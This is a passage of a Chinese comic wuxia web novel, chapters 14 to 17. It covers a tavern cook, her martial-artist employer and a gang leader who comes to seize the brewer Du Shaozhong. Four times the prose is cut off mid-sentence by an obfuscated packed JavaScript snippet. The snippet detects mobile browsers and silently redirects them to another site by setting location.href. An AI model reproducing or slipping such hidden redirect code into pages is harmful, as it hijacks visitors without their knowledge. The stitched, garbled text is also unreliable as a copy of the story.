“有意思,楚才不要吓唬人家小姑娘了,小姑娘去做饭吧。”酒楼内低沉声音传来。 弓箭手听了话,调转箭头不再如毒蛇般注视着程六水,“好我这就去做!” 她拽着几个人就往后院跑去,压根不敢回头看这些人都是什么人,直到来到了后厨才些许放松下来,小脸吓得煞白,背后汗湿了一片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405781|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他们是洪泽会的人。”乔四方一边剁肉一边说道,那菜板上的肋骨排骨发出了咣咣声,听着比方才更吓人了。 “来找你的?”杜少仲端着盆洗菜,忽而皱眉转头问道。 “不知道,领头的我认识,是洪泽会的二当家,轻易不出山出山就要命。为了找我,不至于派他出来。”乔四方摇了摇头,眼里露出了微乎其微的恐惧,那是经年累月折磨留下的习惯。 程六水手不停地掂着大铁锅,洪泽会?怎么这么耳熟?她被吓了几下的脑瓜子暂时捋不明白原主的记忆了。 “洪泽会是啥?”她心有余悸地很,都不敢发出声音,只敢张嘴摆出口型问道。 “洪泽会是江湖第一大□□组织,杀人越货什么脏活都接。”乔四方解释道。 程六水眼前一白,手直发抖锅里的菜险些就要撒出来,“那东家呢?东家不会已经被他们杀了吧?”窒息般的痛感席卷了她的全身,成长于和平年代的程六水只吃过没钱的苦,这种事她连想都不敢想。 她急忙放下手里的大锅,拉着乔四方来到面缸前,用筷子写道,“报官吧”随后手舞足蹈地比划着,一会儿抹脖子一会儿指着老天爷的。激动地差点就要哭出来了,那可是活生生的人命啊,怎么能说杀就杀呢。 “冷静冷静,东家不会有事的。”方才一言不发的马陶陶一把抱住了就差直接冲出去砸方知府府门的程六水,一下接一下拍着程六水已然湿透了的背。 “你怎么知道?”程六水埋在马陶陶的肩头上,发出了如猫崽子般哭哭啼啼的声音。 马陶陶在程六水看不见的地方瞪了眼乔四方,眼神示意道,“别瞒着了,再瞒着六水就哭得要发大水了。” “我?和我有什么关系?是东家不让说的?”乔四方一脸委屈巴巴地挤眉弄眼,他也很害怕的好不好,万一自己又被洪泽会抓走了咋整。 “呜呜呜你们都是哄我的。”程六水哭得愈发厉害,铁锅里的菜都得有杜少仲接过去炒,炒了不一会儿菜就黑了。 “啊啊不哭不哭,东家死不了,他那武功能排大乾前三,谁能弄死他啊。”马陶陶实在是没了办法,被磨人鬼缠了个彻底,眼见那锅里的菜也糊了,要命了夜宵都得吃炒煤炭了。 程六水这才舍得从陶陶肩头出来,红着两只兔子眼睛,抽抽搭搭道,“真的吗?陶陶你可别蒙我。” “真的,比真金都真!”马陶陶立刻拍着胸脯保证,老天爷啊有没有擦脸布啊,她衣服都快被哭透了。 “所以你们都知道是吧?一直瞒着我,说好的有福同享有难同当呢?”程六水利落地擦干眼泪,顺手拿着锅铲就扛到了肩头上,瞬间冷下来的脸皮在黑夜中格外吓人。 这些天程六水俨然已经成了他们打工人联盟的带头人,这几个人脾气秉性她自然了解得七七八八,偶尔他们背着她说悄悄话,甭以为她没发现。 现在露馅了吧?一群大尾巴狼! “去,都给我站那罚站去,今天你们的夜宵只配吃炒煤炭。”程六水冷酷无情地说道。 “不!!!”三人齐齐发出了沉痛的悲鸣,面壁思过的脸上泪流满面。 “哎呦喂你这帮伙计要炸厨房啊。”大堂里翘着二郎腿坐着的楚辞修捂住耳朵道,而他对面正在坐着喝茶的张清寒习以为常道, “比不得楚二当家帮规森严,我可管不住他们。”张清寒默默地咂巴咂巴嘴,六水这个小妮子又买茶叶渣子糊弄他!糊他一嘴! 15. 第 15 章 程六水手不抖了,眼不红了,就连那力气也因为气愤大了许多,她一早就腌制的肉派上了用场。 本来是为了回来讨好张东家用的,毕竟抛下老板干活,自己出门逛街确实是有些没小没大说不过去的。 结果没想到,回来就来了这么一遭,怕是真的怕,甚至有那么一瞬间她在想是不是被箭射死了,就能回老家了。 在老家虽然过得艰辛也没什么亲人朋友,但能活着,而且能一直活着。可这里不一样,再繁盛的朝代都少不了战乱少不了江湖□□。 程六水在很努力地了解现在生活的朝代了,但亲身经历和在原身记忆里挑挑拣拣全然不是一回事。 “生存还是毁灭,这是一个问题。”这个问题对于头脑简单四肢脆弱的程六水而言非常简单,都用不上一秒犹豫都不需要犹豫,生存! 她害怕死亡,无论是自己的,还是别人的都害怕。 直到听到了众人纷纷隐瞒的真相—张东家是个武林高手,她的心忽然安定了下来,就像鱼儿找到了可以栖息的水域,又或是小仓鼠拥有了满是坚果的大地洞。 烧得通红的炭火滋啦啦作响,程六水精心捶打过的铁丝烤网被火烘得极热,铁签子上串好了腌制过的羊肉,这腌羊肉可是大有讲究的。 要早早去集市上守着,肉摊子上羔羊肉一来就很快被抢购一空了,程六水与肉摊子上的王老六关系不错,特意央求老六大哥留了一些羔羊肉给她。 羔羊肉鲜嫩美味不膻不腥,炖羊肉汤烤羊肉串都是首选,酒楼里这几个嘴馋的最是喜爱,那陶陶与少仲还都是挑食的主儿,腥气一点就不吃了。 买来了羔羊肉就要腌制了,胡葱多多的放再佐以芫荽姜片,芫荽如今不再是个稀罕物了,有的人爱吃的要命,连冬日里煮锅子都要涮许多,有的人就嫌弃了,碰都是不碰的。 肥瘦相间的红肉在紫紫绿绿的配菜中格外好看,程六水“啪嗒”一声,两个今早勤劳鸡刚下的鸡蛋就打了进去,再来上一勺花生油,本就刚出生的小羔羊,肉质嫩得一抿就化还爆汁呢。 最后程六水在无人处捅捅咕咕倒了许多东西,莳萝粉辣椒粉还有胡椒粉撒了个遍,再加上一点点黄酒,还有独门秘诀清香梨子被切得极碎,澄黄果肉急吼吼地包裹住羔羊肉,增添了果实的酸甜清爽可口得很。 油亮亮的羊肉串在炭火上焦香诱人,满屋满院都是无法言喻的香味,烟雾缭绕中才发现铁丝网上还不止羊肉串呢,什么烤韭菜烤茄子烤土豆子都有呢。 程六水边翻面边撒着烧烤料,时不时转过头一看,便见到了三个戴着痛苦面具的叛徒。 乔四方挺大个个子,扭着头装作可怜小狗模样,伸出一根指头说道,“就给我吃一串吧一串就好。” “六水你不记得酒楼河畔的马陶陶了吗?我们一起山盟海誓,你说你是风,我说我是沙,我们一起一起不分离。”马陶陶眨巴着眼睛,试图唤起狠心程六水的心软。 而杜少仲则直接放弃了面壁思过,狗腿子一般来到程六水跟前,“嘿嘿六水,你这烤肉得配好酒啊,就用桂花酒可好,此时桂花正是好时候,花中第一流,酒中第一味啊。” 程六水思索了几下,勉为其难地点了点头,“那你去配点桂花酒来。” “呦嘿!”杜少仲成功获得今晚夜宵的第一张体验券,他那青色长袍跑得都灌了风,飘飘荡荡就去拿酒。 他暗叹自己真是个小机灵鬼,酒楼第一聪明人! “不用装可怜,说吧还有什么没告诉我的,都一一招来。”程六水端着那盘杜少仲炒的黑炭鸡腿肉,细细的筷子夹起来正要喂到马陶陶嘴边。 “啊啊啊我不要吃这个!”马陶陶放声大叫着,上手就将那筷子上的鸡腿肉推给了乔四方。 乔四方本就张着嘴,猝不及防直接吃了进去,“呸呸呸,这都啥啊难吃好难吃!” “那说吗?”程六水从背后又变出了串刚烤好的羊肉串,莳萝辣椒的香味勾得人口水都要流下来。 “说我说!那东家是当官的还会武功,听说得罪了达官显贵这才回来经营酒楼的。”马陶陶嘴皮说得贼快,上下一张就把张清寒的底细说完了。 “哦~那你有什么可说的呢?”程六水又看向了乔四方,一旁的马陶陶已经捧着肉串吃起来了。 “?她都说完了,我没啥可说的了。”乔四方脑筋本来就转的比马陶陶慢,傻憨傻憨的每次都是他吃瓜落儿。 那傻大个摸不着头脑的模样,实在令程六水心里乐开了花,“行吧,那你也吃吧。” 大堂里,楚辞修早就闻到这十里飘香的烤肉味了,他都快饿死了。 今早楚辞修在江边凉棚里钓鱼,说是钓鱼其实不过是躺在椅子上睡回笼觉,这可不能怪他,任谁二十几岁在江湖上有名又有钱,洪泽会上面有大当家管着,下面有小弟们干活,谁还能日日勤勉啊。 日子嘛,就是要悠悠闲闲地过,招招猫逗逗狗,再沾花惹草一下,没什么比这更好的日子了。 然后他就在江边被胁迫了,荆州舵口的舵主拿着一纸大当家手令快马赶来。 楚辞修真的很想一个鱼钩,把这位舵主和破手令丢进江里喂鱼。每次找他的活总是又急又难,以为他是救火队员呢?真是烦死了! 但他没办法,他打不过大当家的,只能假装着洪泽会二当家的威严,被迫支楞起来仔细看了看手令。 “靠!”楚辞修直接当着舵主的面,把那手令搓成了废纸团。 让他捉人就捉呗,居然是去江陵捉人,江陵有谁江湖上谁不知道啊,张清寒那个煞星现如今正在那鬼地方归隐呢。 张清寒于江湖人是个极其难缠恐怖的角色,他本不是江湖人却人人畏惧,一来他是吃皇粮的,这年头官府势大没人敢轻易招惹,二就是这小子武功一绝,甚至能大败号称武林宗师的昆仑道人,一站成名无人再敢挑衅。 当今江湖有几位常年不出山的宗师级前辈,太白散人,北斗大拿还有一个便是这昆仑道人,无人知晓张清寒为何与昆仑道人打了起来,只知自那以后他那嘁哩喀喳的寒霜剑法冠绝天下,而昆仑道人再难寻踪迹了。 楚辞修自认不是个聪明人但也不傻,没必要送上门去自讨苦吃,可实在是雇主给洪泽会的钱实在是太多了,多到他那大当家脑子灌水屁颠屁颠地接下了这桩买卖。 他能怎么办呢?只能从陵江边骑着马就跑了,跑了整整一天啊,天都黑了才跑到这,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405782|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜见到的饭都没吃上一口。 “你这酒楼厨子不错啊。”楚辞修依旧翘着二郎腿,装作不经意道。 “饿了就说。”张清寒冷着一张脸,如老僧入定般坐在那里,不悲不喜不急不躁。 “你不饿你高贵你都快把这一壶水喝没了。”楚辞修撇着嘴,愤愤不平地戳破了张清寒冰冷外表下的伪装。 张清寒也不恼,将那茶壶里最后一点儿福根全倒进了楚辞修杯子里,“那楚二当家也喝点,管饱。” “这就是你们这儿的待客之道?没想到张大人下野到了这江陵来,一改往日冷血铁腕,变得格外好说话了,连下面的伙计都能让你饿肚子了。”楚辞修没看那杯茶,他虽惹不起张清寒,可也不是泥捏的软和人。 既然必须要撕破脸皮硬碰硬,那不如直接来个痛快算了。 “一炷香。”张清寒依旧波澜不惊道。 楚辞修皱眉不解,咋的武林高手脑袋和自己长得不一样,简直一个鸡同鸭讲。 不会是?楚辞修心眼子跟蜂窝煤似的多得要命,难不成张清寒这是在威胁自己,只要一炷香的时间就能将他扫出江陵,这未免也太瞧不起他楚某人了吧。 “我楚辞修在这江湖上不说鼎鼎大名,也是响当当的一号角色,你莫要仗着从前的威势用鼻孔看人,有本事就真刀真枪地干一架!”楚辞修说罢,直接从背后抽出两把砍刀。 这双刀还是个有来历的,相传是百年前的武林盟主佩刀,藏于密林山的衣冠冢间,偶然被年少的楚辞修寻得,送去程门重新锻造一番再见天日,真可谓是削铁如泥,一刀封喉两刀腰斩,故此刀便叫做“封喉腰斩刀”。 张清寒终于舍得抬起眼皮看向张牙舞爪的□□二当家,几步间如同鬼魅的身影变幻莫测,在烛火映照下格外骇人,须臾之间他便无声无息地来到了楚辞修身后。 还不等楚辞修翻身一刀砍来,他那两只手腕就被极大的指力扣住,任督二脉瞬间被指力间雄厚的内力倒灌,一时间气血倒流没了力气。 那赫赫威名的“封喉腰斩刀”应声落地,当然还有它们的主人如同软脚虾般倒在了圈椅里,楚辞修勉强梗着脖颈维持着最后一丝体面。 “你……”楚辞修面容扭曲着,他知他武艺不如张清寒,可没想到居然只是一招,一招便被缴刀,奇耻大辱啊! 张清寒此时竟然面色微变,眼神中泛起了几分急迫,他将那两把刀赶忙藏在了桌板子背面,随后便板板正正地站好。 后厨的帘子下一秒便掀开了,程六水端着大大的烤盘前来,外焦里嫩的羊肉串在昏黄的烛光下令人食指大动,还有撒了许多辣椒面的烤韭菜更是要命,焦绿冒红光香得很啊。 “小烧烤来了,你们先吃着,等下还有一拨没烤呢,我烤了再送来。”程六水殷勤道,面前这俩大佬一个都打不过,卖乖肯定是没错的啦。 “正好一炷香上菜,你急什么?一炷香都等不了?”张清寒递了串羊肉给楚辞修,还热情好客地给他倒了杯清甜爽口的桂花酒,金桂碎瓣飘落其中,如碎金落凡尘般。 “?这个一炷香啊?”楚辞修这下直接从面容扭曲气得嘴歪眼斜了,但嘴歪一点也不耽误,嘴歪也能哼唧哼唧撸串吃烧烤。 16. 第 16 章 程六水瞅了两眼这个传说中杀人不眨眼的洪泽会二当家,瓜子脸尖下巴,白得晶莹剔透,怕是比那高门大户的娇小姐还要美上几分,许是月黑风高,灯下人愈发模糊不清,仿佛萦绕着柔和的光,雌雄莫辨却仍是英气勃勃。 “你瞅啥?”楚辞修正了正身子,草草地擦了下嘴,摆出谱来质问着偷看自己的小姑娘。 看看这小丫头片子的眼神,都在他身上移不开了,不是楚辞修自夸他这容貌在江湖上也算得上是个中翘楚了,迷住了多少少女啊。 “瞅你咋地?”程六水的本能反应超过了其大脑运转的速度,直接梗着脖子开口道。 楚辞修被问得懵了懵,哪里来的这么横的厨子,刚才在外面不还自告奋勇给自己做饭呢吗?他懂了,定是小丫头想吸引自己的注意,故意这么说的。 “不咋地,你这小烧烤做得不错。”楚辞修不气反倒十分自信地一笑,白白的兔牙还有好几粒鲜红的辣椒面,腮间还挂着些许莳萝。 程六水扑哧一下笑出了声,“多谢二当家夸赞,先前未见过二当家还以为是个五大三粗的汉子,不曾想竟生得如此英俊潇洒玉树临风,可真是小女子我三生有幸了。” 楚辞修一听那眼睛“嗖”一下就亮了,这小丫头与他见过旁的女子都不同,旁人总是羞羞答答欲语还休的,她却是有什么就说什么,直来直去好相处。 最重要的是,这烧烤是真香啊,尤其是那不知撒了什么佐料的烤羊肉,肥而不腻瘦而不柴,未吃就令人垂涎欲滴,咬在嘴里入口便是羊肉的鲜咸辣香,吃了一串还想吃第二串。 想到这,楚辞修赶紧满桌子找剩下的羊肉串,再来几串啊。 “你找啥?”一旁默默不语的张清寒这才开口道,他手里举着仅剩的五串羊肉串,冷着一张脸好不吓人。 “你一下子能吃五串吗?”楚辞修眼见张清寒多吃多占,本想张口就要开骂,可自己刚从他手下败下阵来,况且那崇拜自己的小丫头还在旁边看着呢。 做人还是要收敛心性,文雅一点和气一点,楚辞修心中默念了几遍才平和地开口道。 “我能。”张清寒话音刚落,只见那五大串羊肉像是被施了法术一般,齐刷刷飞向张清寒的嘴里,漫天的羊肉如天女散花般绚烂,只不过是辣椒味的绚烂。 没人看得清到底发生了什么,程六水只来得及看见自家东家的腮帮子好似个松鼠的胖脸蛋,紧接着这胖脸蛋里的羊肉串就不见了。 张清寒取出方帕仔细擦拭了下嘴唇,又瞧了眼对面吃得埋里吧汰的楚辞修,心情甚好道,“五串都吃完了。” “张清寒你什么意思!你别以为你武功高了不起,你后半夜肚子疼你就哭去吧你。”楚辞修气得直嘚瑟,他这么些年也没受过这么大委屈,吃饭吃不饱打架打不过,一口气憋得他是上也上不去下也下不来。 程六水一时间都没反应过来,原本以为张东家是个松鼠,却不想是个河马,居然眨眼间全吃进肚里了,怪不得人家能当酒楼东家呢,敢情是东家肚里能装食啊。 “时候不早了,饭也吃过了,你就别说废话了。说吧,你今日来此闹了一通是为何?”张清寒望了眼高悬月道。 程六水听到这话,撒开小腿就要回后厨,出来讨生活知道得越少越好,她本来就是个手无缚鸡之力的软脚虾,要是知道太多还不得小命不保啊。 谁知还没走出去两三步,就听后面一声,“我来是要人的。” 危!程六水暗叫不好,要人要什么人?难不成自己的身份暴露了,程门难不成还欠了洪泽会的债,天老爷啊这人不能放下碗筷就捉她吧。 “要谁?”张清寒长眉立起,言语间虽未见波澜,可周身上位者的威压已然溢出。 他顺着楚辞修的目光一扫,便见到了正欲逃跑的程六水,刹那间他便挡在了程六水的身前,将这小女子遮得严严实实。 宽厚有力的大手牢牢抓住了程六水的手腕,从没有人能逃过皇城司使的神鬼手段,自然他想留在身边的人也休想逃走。 程六水在被揪住的那一刻,就放弃了挣扎,打不过就跑,跑不了就装死。对付武力高于自己的,她从小接受的教育就是这样的,只不过之前奶奶是让她在熊瞎子面前装死。 她手脚一软,马上就要瘫倒在地,圆溜溜的大眼睛都要闭起来了,就在这装死至关重要的一刻, “杜少仲。”楚辞修越过了冷若寒霜的张清寒和抖似筛糠的程六水,直直指向了后厨。 值得庆幸的是,程六水瞬间又活了,腿不软手不抖,轻轻松松就能去江陵名河——断崖子河捉鱼去,捉个三五十条,明日就摆个烤鱼宴,领里邻居乡里乡亲都来吃。 想到这,程六水忽然觉得方才那二当家说的名字有些耳熟,杜少仲?火烧酒楼的酒痴?如今江陵闺秀心中的十佳灵魂画手? 后厨里,烟熏火燎间唯有一人长身而立,纤长指尖并未执笔,而是端着青瓷酒盏,那碎金浮跃的桂花酿清甜悠远,浅酌一口便是酒不醉人人自醉。 杜少仲还是身着天青长袍,发髻上未有冠饰,只是简单绑了条天青发带,远远望去不像是个酿酒师傅,更似个要赴京赶考的书生。 他又饮了几盏桂花酿,酒香溢满周身,沉浸其中的神志也有着些许迷惘,迷惘中仿佛听见了有人在唤自己的名字,脚步便不停使唤地迈向了大堂。 大堂里寂静无声,无人说话无人走动,甚至连不远处的麻雀声都没了。 半醉的杜少仲就这么硬生生闯进了这片寂静中,他蓦然抬首就见有个脸上油渍麻花的陌生男子目不转睛地盯着自己,那眼神好似饿狼,恨不得下一瞬便将他吞入腹中。 楚辞修从怀里小心翼翼取出了温热的画像,画中人戴高帽穿官服,忧国忧民中不失温文尔雅,文官清流不外如是。 眼睛,鼻子,嘴巴还有脸型全对上了!楚辞修胸中一团火焰马上就要喷涌而出,活着的十万两,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405783|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把这小子打晕装包运货,不出三日货款两清,十万两就到手了。 “拿来吧你!”楚辞修以掩耳不及盗铃之势,一跃而起妄想提着杜少仲就要跑。 “救……命。”杜少仲凭借着小动物般的直觉,在半醉半醒间一个鲤鱼打挺在地上打了三百六十度的圈,让那楚辞修扑了空。 螳螂捕蝉黄雀在后,楚辞修没抓住杜少仲的脖领子,可张清寒捉住了楚辞修的,如老鹰捉小鸡般越过大堂里的桌椅板凳,一把就将这位二当家扔到了外面。 “楚二当家,江湖规矩先礼后兵,你来我招待,但抢我的人就是你不对了。”张清寒踏出酒楼,眸若寒星语如冰凌道。 他的身后是赶来的乔四方,乔四方搀扶着醉得刚才还在地上打滚的杜少仲,程六水和马陶陶则站在最后,一个扛着大铁锅,一个竖着大扫帚。 伸手不见五指的黑夜里,十全酒楼的红灯笼别样的鲜艳,洪泽会的几十个顶尖杀手密密麻麻地站满了这条不够宽敞的街道。 玄色的夜行衣,连呼吸声都感受不到的沉默,这群杀手们从不说话,他们出现在这里只有一个目的,完成任务。 而被他们簇拥着的是刚刚被扔出来的楚辞修,他那张雌雄莫辨的脸咧得跟朵花一样,呲牙咧嘴地笑着,“张清寒,你武功高有什么了不起的,落架了的凤凰不如鸡,你一个人能打得过我身后这帮洪泽会的弟兄吗?” “东家不是一个人,我们和他一起。”乔四方站了出来,他不知从哪变出了把大西瓜刀,这刀弯的地方还镶了三个圆环,锋利刀刃下是藏匿许久的血气。 “乔四方,原来你背弃旧主,就是为了来为他张清寒鞍前马后做狗的吗?”楚辞修冷笑了声,“一个斗兽场的奴隶,真以为自己成气候了。” 如万针穿心的话语并未动摇乔四方一分一毫,他仿佛置若罔闻,一步不让地守在酒楼诸人旁。 从乔四方记事起,他经历过无数辱骂与殴打,于他而言,别人怎么说怎么做并不重要,重要的是他知道自己在做什么,他在保护他生命中尊重他善待他的人。 “还有我们呢,二当家你不会没看见吧。”程六水脆生生道,马陶陶则在一旁随声应和。 “小丫头?你提溜着个铁锅不去做饭,打什么架?你放心,等我收拾完他们,你就跟我回洪泽会做饭去,绝对保你吃香的喝辣的。”楚辞修开口承诺着,眼里尽是志在必得之意。 “哦是吗?你肚子不痛吗?”程六水眨巴着眼睛,极为天真的语气却有那么些许残忍。 “什么?不痛啊,等会……”楚辞修猛地捂住肚子,本是不易察觉的刺痛变为了凶猛的绞痛,瞬间蔓延至全身,挺直的背脊瞬间弯下了一些。 “你给我下药?不对,张清寒也吃了他怎么没吃?” “因为他没有吃那盘烤韭菜呀,韭菜嘛有时候也是要割一割的,你说是不是啊二当家的?”程六水人畜无害的笑声在这黑夜里异常响亮。 17. 第 17 章 “你毒妇!”万蚁噬肚般的疼痛席卷而来,若是旁人早就不行了,但楚辞修内力深厚总是能对抗这绞腹之痛一二的,努力维持着最后一丝体面,只不过如羊脂美玉般的额角已然沁出了不少细汗。 程六水无辜地挑眉,“方才还是小丫头,现在就是毒妇了?你这人就是个猴子脸变脸真是快。” 说罢,指尖轻轻一指,那楚辞修下意识一瞧,是茅房!是他日思夜想的茅房! 他都顾不上恶狠狠地瞪“毒妇”了,腿脚飞快倒腾,都快赶上那神仙的腾云驾雾了,可那夹紧的衣缝暴露了他的崩溃与难捱。 楚辞修身后的杀手们难得露出了不知所措的申请,他们面面相觑满头问号与尴尬,这活还干不干啊?当家的跑了,他们是不是也可以跑了? “告诉你们大当家的,杜少仲我张清寒保了,他要不要过消停日子就看他的了。”张清寒的声音响彻在这黑夜里,众人不过几瞬便四面消散了,好似一切从未发生过。 三更天里,十全酒楼的大堂里还有些许亮光,圈椅上坐着杜少仲,而对面的桌子上放的不是茶杯茶壶,而是四个凶神恶煞之徒。 那杜少仲在圈椅上被绳子是绑了一圈又一圈,所幸他醉倒了没来得及挣扎,也就少了些皮肉之苦。 但酒总有醒的时候,更何况他这人常年泡在酒里,酒量也不差。 原本老实的眼皮在烛火的摇晃下一颤一颤的,时不时便要睁开,杜少仲做了个诡异异常的梦,梦里有好多人啊乌央乌央的,脸却看不真切只知都不是好惹的。 每个人手里都拎着根能吊死人那么粗的绳子,绳子的一头在这些人手里,而另一头竟然都系在了杜少仲的腰上腿上脖子上。 四面八方的力拉扯着他,令杜少仲喘不过气头痛欲裂,全身的肉好似灌了铅般,他仿佛只有一条路可以走,就是乖乖听话被这无数根绳子拖向一片镜子。 杜少仲越过漆黑一片的人群,繁复雕刻的铜镜里竟是如此花团锦簇,锦绣前程近在咫尺,但他心中却只有一个念头,跑! 他用尽全力甩开了脖颈上的绳子,奋不顾身地向相反的方向冲去,铺天盖地的阻挠砸向了他,瞬间将他压倒了再无还手之力,只剩最后一丝力气杜少仲举起了一块轻飘飘的石头,砸向了那铜镜。 刹那间,铜镜碎成了一片,千钧重担消散了,杜少仲醒了。 迷迷糊糊地眨了眨眼睛,好家伙这面前的四个人怎么有点眼熟,又有点眼生呢。杜少仲下意识想动一动,结果没动成,低头一瞧自己怎么真的被五花大绑起来了。 “你们这是做什么?”杜少仲惊恐道。 “有人出了大价钱,要买你,我们这一想便宜了洪泽会,还不如便宜了自己个呢。没想到啊,少仲你真的好值钱啊~”程六水从桌子上蹦下来,这回没拎铁锅了,而是拿着一堆铁签子,一看就是还没来得及串羊肉的签子。 “你知道吗?这签子一点都不细,但刚刚好能插进人的指甲缝里,你看是不是正正好好?十指连心呢。”紧接着程六水还在对着杜少仲的手比量着,灿若星辰的圆脸蛋说着吓死人的话。 “你你你,你要做什么?痛啊放过我吧!”对于一个刚刚做了噩梦惊醒的文弱书生来说,这一幕还不如让他继续闭眼做噩梦呢,就当从没有醒来。 “我还以为你很喜欢送死呢?怎么洪泽会的二当家一叫你就出来了,居然还醉倒了,要是喜欢给人家送钱,为什么不给我们送呢?”程六水手中的铁签子近在咫尺,却并没有真正地插进杜少仲得手指上。 “我是真不知道他要害我啊,我要是知道我早跑了,放过我吧姑奶奶。”杜少仲吓得一个劲地求饶,可怜巴巴地看向其余三人。 马陶陶从手中的书信中抬起头来,心情甚好地回看了眼杜少仲,“杜大少爷,给幕后大财主的信刚刚写好,这墨都还没干呢,你说我们要二十万两,大财主能给吗?” “嘿!”乔四方更是在桌子上磨起刀来,咔哧咔哧的响声差点就要刺破了杜少仲的勉强跳动的小心脏。 “清寒救我啊清寒,我真不是故意的。”杜少仲扯破嗓子地求救。 坐在最靠边的张清寒,冷着张脸道,“收拾收拾,趁天还没亮直接动手。”语气熟练且冷淡,比方才那楚二当家还要没人性。 杜少仲睁大了眼睛,不可置信地看向这四人,恨不得此刻就老泪纵横唾骂着无情无义的世道,那些自己错付的情义啊,竟还不值这二十万两。 想着想着,真还流出了几滴清泪来,他赶紧撇开脸想擦擦,结果自己这手还被绑住动弹不得,七尺男儿只能任由泪水止不住地流,甚至还啜泣了两声。 冰冷铁腥味的签子正正好好接住了杜少仲的热泪,程六水一看真将个大男人惹哭了,一时间竟不知手措了起来,要是女子她那腻死人的哄人话就一套一套的了,可这大男人真是不好弄啊。 她瞪了眼张清寒,意味十分明显,张东家都这样了,就别吓唬人家了,倒是快哄啊。 张清寒撇了撇嘴,无奈开口道,“行了别哭了,江湖险恶你长点记性,别什么人叫你你就应,早晚把自己卖了都不知道。” “我没哭你哪只眼睛看见我哭了。”杜少仲被解绑之后,瞬间腰也直了嘴也硬了,赶紧把那几滴泪擦了,又恢复成那个温文尔雅的酿酒师傅了。 “我们八只眼睛都看到了。”程六水笑嘻嘻道,拉着已然困得直打瞌睡的马陶陶回屋子里睡觉了,而乔四方紧随其后也跑没影了。 “少仲,好好想想是谁想要你的命。”张清寒说罢,摇了摇头走了。 大堂里,只余杜少仲一人,他活动了几下方才被束缚的手脚,神情这才严肃认真了起来。 他出身京城名门,累世官宦文官清流,自小便在书卷文墨包围中长大,大乾闻名的先生夫子皆是他父亲的好友,这都是旁人求都求不来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16405784|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一十八岁更是顺风顺水地三甲及第,一时间风光无限,官场的大门向他敞开,一条由祖辈精心铺就的青云路映入眼帘。 人在顺境之时,便是路边不知名的人投来的都是笑脸,更遑论身边那些奉承巴结的人了,杜少仲从不知到底得罪过谁,谁又能有这么大的力量找到江湖帮派来要他的命。 想来想去,杜少仲忽然笑了,排除一切的不可能,便唯有一种可能。 这世上还真有个人恨他入骨,那人就是他的父亲,如今官拜工部尚书的杜相宜杜尚书,杜家这一代男丁极少,他父亲膝下更是只有他一子。 而他这个儿子在翰林院第二年,便毅然决然地辞官了,世人总说庙堂之高何等荣耀,可杜少仲身在其中,这才知晓身上的担子为何物,官场之波云诡谲又是何等复杂。 杜少仲心底总有一个声音在叫嚣,叫嚣着逃离这种种纷扰,寻个自在的归处。 他唯一庆幸的是,生逢盛世最大的好处便是,有志便可报国,无志就遂本心,无所谓好与不好,人活一世还是自己畅快最为重要。 杜尚书在知晓独子决意辞官时,已经全然丧失了仅有的体面,他用尽所有手段阻止杜少仲的辞官,一次次替子告假,甚至还为杜少仲擅自做主定了门亲事。 大乾朝堂何等复杂,帝后两派争斗不休,还有先帝留下那几十个皇子藩王,都不是什么省心的主儿,无人愿意趟杜家这父子恩怨,况且能斗得过杜尚书的,满朝也没几个。 只有天子近臣皇城司使助了这个初出茅庐的杜小公子,从此朝堂杜府再没有他的踪迹,无人知晓杜少仲去了哪,有些乱嚼舌头的还说是杜尚书气极了,直接废了自己唯一的儿子。 杜少仲回忆起往昔种种,不禁苦笑,父子父子怎么就父不似父,子不似子了呢? 他索性不再深想,从袖口翻出本小册子,那册子上写了不少页了,最新的一页写道,“酿小麦气泡酒需注意储藏条件,不然容易着火。” 而杜少仲如今正在下一页写道,“江湖危险不能轻信于人,别人叫名字不能随便答应。” 杜少仲没闯荡过江湖,刚来这里时甚至连洗衣打扫都不会,他只会读书作画,自然了还有无论如何都割舍不下的酿酒。 